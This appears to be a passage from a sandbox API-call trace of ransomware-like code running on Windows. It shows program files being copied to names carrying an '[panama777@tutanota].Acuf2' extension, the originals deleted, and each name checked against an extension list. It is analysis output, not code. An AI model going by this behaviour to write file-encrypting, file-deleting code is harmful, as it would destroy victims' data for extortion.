	[0053.392] WriteFile (in: hFile=0x1a4, lpBuffer=0x2ec0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x1f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesWritten=0x1f2fc9c*=0xe6, lpOverlapped=0x0) returned 1
	[0053.393] SetEndOfFile (hFile=0x1a4) returned 1
	[0053.393] CloseHandle (hObject=0x1a4) returned 1
	[0053.393] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1f2fec8 | out: lpNewFilePointer=0x0) returned 1
	[0053.393] SetEndOfFile (hFile=0x1e8) returned 1
	[0053.394] CloseHandle (hObject=0x1e8) returned 1
	[0053.394] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0053.394] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbhw6.chm")) returned 1
	[0053.395] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM") returned 70
	[0053.395] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM") returned 70
	[0053.395] lstrlenW (lpString=".doc") returned 4
	[0053.395] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1
	[0053.395] lstrlenW (lpString=".docx") returned 5
	[0053.395] lstrcmpiW (lpString1=".docx", lpString2="6.CHM") returned -1
	[0053.395] lstrlenW (lpString=".pdf") returned 4
	[0053.395] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1
	[0053.395] lstrlenW (lpString=".xls") returned 4
	[0053.395] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1
	[0053.395] lstrlenW (lpString=".xlsx") returned 5
	[0053.395] lstrcmpiW (lpString1=".xlsx", lpString2="6.CHM") returned -1
	[0053.395] lstrlenW (lpString=".ppt") returned 4
	[0053.395] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1
	[0053.395] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM") returned 70
	[0053.395] lstrlenW (lpString=".zip") returned 4
	[0053.395] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1
	[0053.395] lstrlenW (lpString=".rar") returned 4
	[0053.395] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1
	[0053.395] lstrlenW (lpString=".bz2") returned 4
	[0053.395] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1
	[0053.395] lstrlenW (lpString=".7z") returned 3
	[0053.395] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1
	[0053.395] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM") returned 70
	[0053.395] lstrlenW (lpString=".dbf") returned 4
	[0053.396] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1
	[0053.396] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM") returned 70
	[0053.396] lstrlenW (lpString=".1cd") returned 4
	[0053.396] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1
	[0053.396] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM") returned 70
	[0053.396] lstrlenW (lpString=".jpg") returned 4
	[0053.396] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1
	[0053.396] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1f2fec8 | out: lpNewFilePointer=0x0) returned 1
	[0053.396] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1f2fec8 | out: lpNewFilePointer=0x0) returned 1
	[0053.396] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vblr6.chm.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4
	[0053.396] GetLastError () returned 0x0
	[0053.397] ReadFile (in: hFile=0x1e8, lpBuffer=0x2ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x1f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesRead=0x1f2fed4*=0xe6b62, lpOverlapped=0x0) returned 1
	[0053.418] WriteFile (in: hFile=0x1a4, lpBuffer=0x2ec0020*, nNumberOfBytesToWrite=0xe6b70, lpNumberOfBytesWritten=0x1f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesWritten=0x1f2fc9c*=0xe6b70, lpOverlapped=0x0) returned 1
	[0053.563] ReadFile (in: hFile=0x1e8, lpBuffer=0x2ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x1f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesRead=0x1f2fed4*=0x0, lpOverlapped=0x0) returned 1
	[0053.563] WriteFile (in: hFile=0x1a4, lpBuffer=0x2ec0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x1f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesWritten=0x1f2fc9c*=0xe6, lpOverlapped=0x0) returned 1
	[0053.563] SetEndOfFile (hFile=0x1a4) returned 1
	[0053.564] CloseHandle (hObject=0x1a4) returned 1
	[0053.564] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1f2fec8 | out: lpNewFilePointer=0x0) returned 1
	[0053.564] SetEndOfFile (hFile=0x1e8) returned 1
	[0053.572] CloseHandle (hObject=0x1e8) returned 1
	[0053.572] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0053.572] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vblr6.chm")) returned 1
	[0053.573] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM") returned 70
	[0053.573] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM") returned 70
	[0053.573] lstrlenW (lpString=".doc") returned 4
	[0053.573] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1
	[0053.573] lstrlenW (lpString=".docx") returned 5
	[0053.573] lstrcmpiW (lpString1=".docx", lpString2="6.CHM") returned -1
	[0053.573] lstrlenW (lpString=".pdf") returned 4
	[0053.573] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1
	[0053.573] lstrlenW (lpString=".xls") returned 4
	[0053.573] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1
	[0053.573] lstrlenW (lpString=".xlsx") returned 5
	[0053.573] lstrcmpiW (lpString1=".xlsx", lpString2="6.CHM") returned -1
	[0053.573] lstrlenW (lpString=".ppt") returned 4
	[0053.573] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1
	[0053.573] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM") returned 70
	[0053.573] lstrlenW (lpString=".zip") returned 4
	[0053.573] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1
	[0053.573] lstrlenW (lpString=".rar") returned 4
	[0053.573] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1
	[0053.573] lstrlenW (lpString=".bz2") returned 4
	[0053.573] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1
	[0053.573] lstrlenW (lpString=".7z") returned 3
	[0053.573] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1
	[0053.574] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM") returned 70
	[0053.574] lstrlenW (lpString=".dbf") returned 4
	[0053.574] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1
	[0053.574] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM") returned 70
	[0053.574] lstrlenW (lpString=".1cd") returned 4
	[0053.574] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1
	[0053.574] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM") returned 70
	[0053.574] lstrlenW (lpString=".jpg") returned 4
	[0053.574] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1
	[0053.575] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1f2fec8 | out: lpNewFilePointer=0x0) returned 1
	[0053.575] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1f2fec8 | out: lpNewFilePointer=0x0) returned 1
	[0053.575] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\1033\\fpext.msg.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4
	[0053.576] GetLastError () returned 0x0
	[0053.576] ReadFile (in: hFile=0x1e8, lpBuffer=0x2ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x1f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesRead=0x1f2fed4*=0x296a5, lpOverlapped=0x0) returned 1
	[0053.579] WriteFile (in: hFile=0x1a4, lpBuffer=0x2ec0020*, nNumberOfBytesToWrite=0x296b0, lpNumberOfBytesWritten=0x1f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesWritten=0x1f2fc9c*=0x296b0, lpOverlapped=0x0) returned 1
	[0053.583] ReadFile (in: hFile=0x1e8, lpBuffer=0x2ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x1f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesRead=0x1f2fed4*=0x0, lpOverlapped=0x0) returned 1
	[0053.583] WriteFile (in: hFile=0x1a4, lpBuffer=0x2ec0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x1f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesWritten=0x1f2fc9c*=0xe6, lpOverlapped=0x0) returned 1
	[0053.583] SetEndOfFile (hFile=0x1a4) returned 1
	[0053.583] CloseHandle (hObject=0x1a4) returned 1
	[0053.583] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1f2fec8 | out: lpNewFilePointer=0x0) returned 1
	[0053.583] SetEndOfFile (hFile=0x1e8) returned 1
	[0053.585] CloseHandle (hObject=0x1e8) returned 1
	[0053.585] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0053.586] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\1033\\fpext.msg")) returned 1
	[0053.586] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG") returned 90
	[0053.586] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG") returned 90
	[0053.586] lstrlenW (lpString=".doc") returned 4
	[0053.586] lstrcmpiW (lpString1=".doc", lpString2=".MSG") returned -1
	[0053.586] lstrlenW (lpString=".docx") returned 5
	[0053.586] lstrcmpiW (lpString1=".docx", lpString2="T.MSG") returned -1
	[0053.586] lstrlenW (lpString=".pdf") returned 4
	[0053.586] lstrcmpiW (lpString1=".pdf", lpString2=".MSG") returned 1
	[0053.586] lstrlenW (lpString=".xls") returned 4
	[0053.586] lstrcmpiW (lpString1=".xls", lpString2=".MSG") returned 1
	[0053.586] lstrlenW (lpString=".xlsx") returned 5
	[0053.586] lstrcmpiW (lpString1=".xlsx", lpString2="T.MSG") returned -1
	[0053.586] lstrlenW (lpString=".ppt") returned 4
	[0053.586] lstrcmpiW (lpString1=".ppt", lpString2=".MSG") returned 1
	[0053.586] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG") returned 90
	[0053.586] lstrlenW (lpString=".zip") returned 4
	[0053.586] lstrcmpiW (lpString1=".zip", lpString2=".MSG") returned 1
	[0053.586] lstrlenW (lpString=".rar") returned 4
	[0053.586] lstrcmpiW (lpString1=".rar", lpString2=".MSG") returned 1
	[0053.586] lstrlenW (lpString=".bz2") returned 4
	[0053.586] lstrcmpiW (lpString1=".bz2", lpString2=".MSG") returned -1
	[0053.587] lstrlenW (lpString=".7z") returned 3
	[0053.587] lstrcmpiW (lpString1=".7z", lpString2="MSG") returned -1
	[0053.587] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG") returned 90
	[0053.587] lstrlenW (lpString=".dbf") returned 4
	[0053.587] lstrcmpiW (lpString1=".dbf", lpString2=".MSG") returned -1
	[0053.587] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG") returned 90
	[0053.587] lstrlenW (lpString=".1cd") returned 4
	[0053.587] lstrcmpiW (lpString1=".1cd", lpString2=".MSG") returned -1
	[0053.587] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG") returned 90
	[0053.587] lstrlenW (lpString=".jpg") returned 4
	[0053.587] lstrcmpiW (lpString1=".jpg", lpString2=".MSG") returned -1
	[0053.828] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x1f2ff1c | out: lpFileSize=0x1f2ff1c*=2702) returned 1
	[0053.828] CloseHandle (hObject=0x170) returned 1
	[0053.828] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Services\\verisign.bmp" (normalized: "c:\\program files\\common files\\services\\verisign.bmp")) returned 0x20
	[0053.828] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Services\\verisign.bmp.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\services\\verisign.bmp.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0053.828] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Services\\verisign.bmp" (normalized: "c:\\program files\\common files\\services\\verisign.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0053.828] lstrlenW (lpString="C:\\Program Files\\Common Files\\Services\\verisign.bmp") returned 51
	[0053.828] lstrlenW (lpString="C:\\Program Files\\Common Files\\Services\\verisign.bmp") returned 51
	[0053.828] lstrlenW (lpString=".doc") returned 4
	[0053.828] lstrcmpiW (lpString1=".doc", lpString2=".bmp") returned 1
	[0053.828] lstrlenW (lpString=".docx") returned 5
	[0053.829] lstrcmpiW (lpString1=".docx", lpString2="n.bmp") returned -1
	[0053.829] lstrlenW (lpString=".pdf") returned 4
	[0053.829] lstrcmpiW (lpString1=".pdf", lpString2=".bmp") returned 1
	[0053.829] lstrlenW (lpString=".xls") returned 4
	[0053.829] lstrcmpiW (lpString1=".xls", lpString2=".bmp") returned 1
	[0053.829] lstrlenW (lpString=".xlsx") returned 5
	[0053.829] lstrcmpiW (lpString1=".xlsx", lpString2="n.bmp") returned -1
	[0053.829] lstrlenW (lpString=".ppt") returned 4
	[0053.829] lstrcmpiW (lpString1=".ppt", lpString2=".bmp") returned 1
	[0053.829] lstrlenW (lpString="C:\\Program Files\\Common Files\\Services\\verisign.bmp") returned 51
	[0053.829] lstrlenW (lpString=".zip") returned 4
	[0053.829] lstrcmpiW (lpString1=".zip", lpString2=".bmp") returned 1
	[0053.829] lstrlenW (lpString=".rar") returned 4
	[0053.829] lstrcmpiW (lpString1=".rar", lpString2=".bmp") returned 1
	[0053.829] lstrlenW (lpString=".bz2") returned 4
	[0053.829] lstrcmpiW (lpString1=".bz2", lpString2=".bmp") returned 1
	[0053.829] lstrlenW (lpString=".7z") returned 3
	[0053.829] lstrcmpiW (lpString1=".7z", lpString2="bmp") returned -1
	[0053.829] lstrlenW (lpString="C:\\Program Files\\Common Files\\Services\\verisign.bmp") returned 51
	[0053.829] lstrlenW (lpString=".dbf") returned 4
	[0053.829] lstrcmpiW (lpString1=".dbf", lpString2=".bmp") returned 1
	[0053.829] lstrlenW (lpString="C:\\Program Files\\Common Files\\Services\\verisign.bmp") returned 51
	[0053.829] lstrlenW (lpString=".1cd") returned 4
	[0053.829] lstrcmpiW (lpString1=".1cd", lpString2=".bmp") returned -1
	[0053.829] lstrlenW (lpString="C:\\Program Files\\Common Files\\Services\\verisign.bmp") returned 51
	[0053.829] lstrlenW (lpString=".jpg") returned 4
	[0053.829] lstrcmpiW (lpString1=".jpg", lpString2=".bmp") returned 1
	[0057.065] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmainbackground.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground.wmv.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmainbackground.wmv.id-9c354b42.[panama777@tutanota].acuf2")) returned 0
	[0057.065] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground.wmv") returned 75
	[0057.065] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground.wmv") returned 75
	[0057.065] lstrlenW (lpString=".doc") returned 4
	[0057.065] lstrcmpiW (lpString1=".doc", lpString2=".wmv") returned -1
	[0057.065] lstrlenW (lpString=".docx") returned 5
	[0057.065] lstrcmpiW (lpString1=".docx", lpString2="d.wmv") returned -1
	[0057.065] lstrlenW (lpString=".pdf") returned 4
	[0057.065] lstrcmpiW (lpString1=".pdf", lpString2=".wmv") returned -1
	[0057.065] lstrlenW (lpString=".xls") returned 4
	[0057.065] lstrcmpiW (lpString1=".xls", lpString2=".wmv") returned 1
	[0057.065] lstrlenW (lpString=".xlsx") returned 5
	[0057.065] lstrcmpiW (lpString1=".xlsx", lpString2="d.wmv") returned -1
	[0057.065] lstrlenW (lpString=".ppt") returned 4
	[0057.065] lstrcmpiW (lpString1=".ppt", lpString2=".wmv") returned -1
	[0057.065] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground.wmv") returned 75
	[0057.065] lstrlenW (lpString=".zip") returned 4
	[0057.065] lstrcmpiW (lpString1=".zip", lpString2=".wmv") returned 1
	[0057.065] lstrlenW (lpString=".rar") returned 4
	[0057.065] lstrcmpiW (lpString1=".rar", lpString2=".wmv") returned -1
	[0057.065] lstrlenW (lpString=".bz2") returned 4
	[0057.065] lstrcmpiW (lpString1=".bz2", lpString2=".wmv") returned -1
	[0057.066] lstrlenW (lpString=".7z") returned 3
	[0057.066] lstrcmpiW (lpString1=".7z", lpString2="wmv") returned -1
	[0057.066] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground.wmv") returned 75
	[0057.066] lstrlenW (lpString=".dbf") returned 4
	[0057.066] lstrcmpiW (lpString1=".dbf", lpString2=".wmv") returned -1
	[0057.066] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground.wmv") returned 75
	[0057.066] lstrlenW (lpString=".1cd") returned 4
	[0057.066] lstrcmpiW (lpString1=".1cd", lpString2=".wmv") returned -1
	[0057.066] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground.wmv") returned 75
	[0057.066] lstrlenW (lpString=".jpg") returned 4
	[0057.066] lstrcmpiW (lpString1=".jpg", lpString2=".wmv") returned -1
	[0057.066] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmainbackground_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground_PAL.wmv.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmainbackground_pal.wmv.id-9c354b42.[panama777@tutanota].acuf2")) returned 0
	[0057.066] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground_PAL.wmv") returned 79
	[0057.066] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground_PAL.wmv") returned 79
	[0057.066] lstrlenW (lpString=".doc") returned 4
	[0057.066] lstrcmpiW (lpString1=".doc", lpString2=".wmv") returned -1
	[0057.066] lstrlenW (lpString=".docx") returned 5
	[0057.066] lstrcmpiW (lpString1=".docx", lpString2="L.wmv") returned -1
	[0057.066] lstrlenW (lpString=".pdf") returned 4
	[0057.066] lstrcmpiW (lpString1=".pdf", lpString2=".wmv") returned -1
	[0057.067] lstrlenW (lpString=".xls") returned 4
	[0057.067] lstrcmpiW (lpString1=".xls", lpString2=".wmv") returned 1
	[0057.067] lstrlenW (lpString=".xlsx") returned 5
	[0057.067] lstrcmpiW (lpString1=".xlsx", lpString2="L.wmv") returned -1
	[0057.067] lstrlenW (lpString=".ppt") returned 4
	[0057.067] lstrcmpiW (lpString1=".ppt", lpString2=".wmv") returned -1
	[0057.067] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground_PAL.wmv") returned 79
	[0057.067] lstrlenW (lpString=".zip") returned 4
	[0057.067] lstrcmpiW (lpString1=".zip", lpString2=".wmv") returned 1
	[0057.067] lstrlenW (lpString=".rar") returned 4
	[0057.067] lstrcmpiW (lpString1=".rar", lpString2=".wmv") returned -1
	[0057.067] lstrlenW (lpString=".bz2") returned 4
	[0057.067] lstrcmpiW (lpString1=".bz2", lpString2=".wmv") returned -1
	[0057.067] lstrlenW (lpString=".7z") returned 3
	[0057.067] lstrcmpiW (lpString1=".7z", lpString2="wmv") returned -1
	[0057.067] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground_PAL.wmv") returned 79
	[0057.067] lstrlenW (lpString=".dbf") returned 4
	[0057.067] lstrcmpiW (lpString1=".dbf", lpString2=".wmv") returned -1
	[0057.067] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground_PAL.wmv") returned 79
	[0057.067] lstrlenW (lpString=".1cd") returned 4
	[0057.067] lstrcmpiW (lpString1=".1cd", lpString2=".wmv") returned -1
	[0057.067] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground_PAL.wmv") returned 79
	[0057.067] lstrlenW (lpString=".jpg") returned 4
	[0057.067] lstrcmpiW (lpString1=".jpg", lpString2=".wmv") returned -1
	[0057.068] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintonotesbackground.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground.wmv.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintonotesbackground.wmv.id-9c354b42.[panama777@tutanota].acuf2")) returned 0
	[0057.068] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground.wmv") returned 82
	[0057.068] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground.wmv") returned 82
	[0057.068] lstrlenW (lpString=".doc") returned 4
	[0057.068] lstrcmpiW (lpString1=".doc", lpString2=".wmv") returned -1
	[0057.068] lstrlenW (lpString=".docx") returned 5
	[0057.068] lstrcmpiW (lpString1=".docx", lpString2="d.wmv") returned -1
	[0057.068] lstrlenW (lpString=".pdf") returned 4
	[0057.068] lstrcmpiW (lpString1=".pdf", lpString2=".wmv") returned -1
	[0057.068] lstrlenW (lpString=".xls") returned 4
	[0057.068] lstrcmpiW (lpString1=".xls", lpString2=".wmv") returned 1
	[0057.068] lstrlenW (lpString=".xlsx") returned 5
	[0057.068] lstrcmpiW (lpString1=".xlsx", lpString2="d.wmv") returned -1
	[0057.068] lstrlenW (lpString=".ppt") returned 4
	[0057.068] lstrcmpiW (lpString1=".ppt", lpString2=".wmv") returned -1
	[0057.068] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground.wmv") returned 82
	[0057.068] lstrlenW (lpString=".zip") returned 4
	[0057.068] lstrcmpiW (lpString1=".zip", lpString2=".wmv") returned 1
	[0057.068] lstrlenW (lpString=".rar") returned 4
	[0057.068] lstrcmpiW (lpString1=".rar", lpString2=".wmv") returned -1
	[0057.068] lstrlenW (lpString=".bz2") returned 4
	[0057.068] lstrcmpiW (lpString1=".bz2", lpString2=".wmv") returned -1
	[0057.068] lstrlenW (lpString=".7z") returned 3
	[0057.068] lstrcmpiW (lpString1=".7z", lpString2="wmv") returned -1
	[0057.068] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground.wmv") returned 82
	[0057.068] lstrlenW (lpString=".dbf") returned 4
	[0057.069] lstrcmpiW (lpString1=".dbf", lpString2=".wmv") returned -1
	[0057.069] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground.wmv") returned 82
	[0057.069] lstrlenW (lpString=".1cd") returned 4
	[0057.069] lstrcmpiW (lpString1=".1cd", lpString2=".wmv") returned -1
	[0057.069] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground.wmv") returned 82
	[0057.069] lstrlenW (lpString=".jpg") returned 4
	[0057.069] lstrcmpiW (lpString1=".jpg", lpString2=".wmv") returned -1
	[0057.069] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintonotesbackground_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground_PAL.wmv.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintonotesbackground_pal.wmv.id-9c354b42.[panama777@tutanota].acuf2")) returned 0
	[0057.070] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground_PAL.wmv") returned 86
	[0057.070] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground_PAL.wmv") returned 86
	[0057.070] lstrlenW (lpString=".doc") returned 4
	[0057.070] lstrcmpiW (lpString1=".doc", lpString2=".wmv") returned -1
	[0057.070] lstrlenW (lpString=".docx") returned 5
